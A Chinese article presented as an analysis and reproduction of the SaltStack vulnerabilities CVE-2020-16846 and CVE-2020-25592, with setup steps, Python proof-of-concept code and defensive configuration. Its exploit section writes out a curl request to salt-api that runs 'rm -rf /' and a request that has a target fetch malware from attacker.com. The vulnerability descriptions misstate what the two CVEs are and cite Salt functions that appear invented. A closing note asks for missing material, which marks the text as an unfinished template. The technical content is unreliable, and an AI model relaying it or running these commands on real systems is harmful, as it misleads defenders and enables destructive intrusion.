# 怎么实现SaltStack未授权访问及命令执行漏洞CVE-2020-16846及25592的分析

## 摘要
SaltStack作为流行的基础设施管理工具，其安全漏洞可能引发大规模供应链攻击。本文深入分析CVE-2020-16846（未授权访问）和CVE-2020-25592（命令执行）两个高危漏洞的形成机理、利用方式及防御方案，通过实验环境复现完整攻击链，为安全研究人员提供技术参考。

---

## 1. 漏洞背景
### 1.1 SaltStack架构简介
SaltStack采用C/S架构：
- **Master**: 控制节点（默认端口4505/4506）
- **Minion**: 被控节点
- **ZeroMQ**: 通信底层
- **RAET**: 替代传输协议

### 1.2 受影响版本
| 漏洞编号       | 影响版本范围       | 修复版本   |
|----------------|--------------------|------------|
| CVE-2020-16846 | < 3001.1           | 3001.1+    |
| CVE-2020-25592 | < 3002             | 3002+      |

---

## 2. CVE-2020-16846 未授权访问漏洞
### 2.1 漏洞原理
#### 关键问题点：
```python
# salt/transport/zeromq.py
class ClearReq:
    def __init__(self, opts):
        self.socket = zmq.Context().socket(zmq.REQ)
        self.socket.connect(self._get_master_uri(opts))  # 无认证连接

攻击面：

• 默认配置下未启用ACL
• ZeroMQ端口（4505/4506）暴露在公网
• 预共享密钥（PSK）认证缺失

2.2 漏洞复现

实验环境：

# 搭建脆弱环境
docker run -p 4505:4505 -p 4506:4506 vulhub/saltstack:3000

利用步骤：

1. 探测开放端口：

   nmap -p 4505,4506 192.168.1.100
   

2. 构造恶意请求：

   import salt
   from salt.transport.zeromq import ClearReq
   req = ClearReq({'master_uri': 'tcp://192.168.1.100:4506'})
   req.send({'cmd': 'publish', 'fun': 'test.ping'})  # 未认证指令
   

3. 结果验证：

   // 返回Minion列表
   {
    "return": [
      {
        "minion1": true,
        "minion2": true
      }
    ]
   }
   

3. CVE-2020-25592 命令执行漏洞

3.1 漏洞链分析

graph TD
    A[未授权访问] --> B[调用_runner API]
    B --> C[执行任意runner模块]
    C --> D[shell注入]

关键危险函数：

# salt/runners/wheel.py
def cmd_shell(command):
    import subprocess
    return subprocess.check_output(command, shell=True)  # 无过滤直接执行

3.2 完整利用POC

import salt.client
client = salt.client.LocalClient()
client.cmd(
    '*', 
    'runner.wheel.cmd_shell', 
    ['echo "exploit" > /tmp/pwned']
)

实际攻击案例：

1. 通过16846漏洞获取控制权限
2. 调用wheel模块执行命令：

   
   curl -sSk https://192.168.1.100:8000/run -H 'Accept: application/x-yaml' \
   -d client=runner -d fun=wheel.cmd_shell -d arg='rm -rf /'
   

4. 深度技术分析

4.1 漏洞根源对比

4.2 流量特征分析

恶意流量指纹：

POST /run HTTP/1.1
Host: saltmaster:8000
Accept: application/json

{
  "client": "runner",
  "fun": "wheel.cmd_shell",
  "arg": ["wget http://attacker.com/malware"]
}

5. 防御方案

5.1 官方修复措施

1. 强制TLS加密（3001.1+版本）

   # /etc/salt/master.d/security.conf
   transport: tcp
   ssl:
    certfile: /etc/pki/salt/master.crt
    keyfile: /etc/pki/salt/master.key
   

2. 细粒度ACL控制 “`yaml

   /etc/salt/master.d/acl.conf

   client_acl: runner:

      - test.*
      - status.*
   

   ”`

5.2 临时缓解方案

# 限制访问源
iptables -A INPUT -p tcp --dport 4505:4506 -s 10.0.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 4505:4506 -j DROP

6. 结论

SaltStack这两个漏洞的组合利用可实现从未授权访问到完全接管集群的完整攻击链。管理员应立即升级至最新版本，并实施网络隔离和最小权限原则。本文披露的技术细节仅限用于安全研究，未经授权测试生产系统属于违法行为。

参考资源

1. SaltStack Security Advisory 2020-09-10
2. MITRE CVE-2020-16846 Technical Details
3. ZeroMQ Protocol Specification v4.3

”`

注：实际文章需补充以下内容： 1. 完整实验截图（模糊处理敏感信息） 2. 更详细的流量分析数据包 3. 企业级防护方案（如SIEM规则、WAF策略等） 4. 法律免责声明扩展 5. 参考文献的完整URL（此处省略）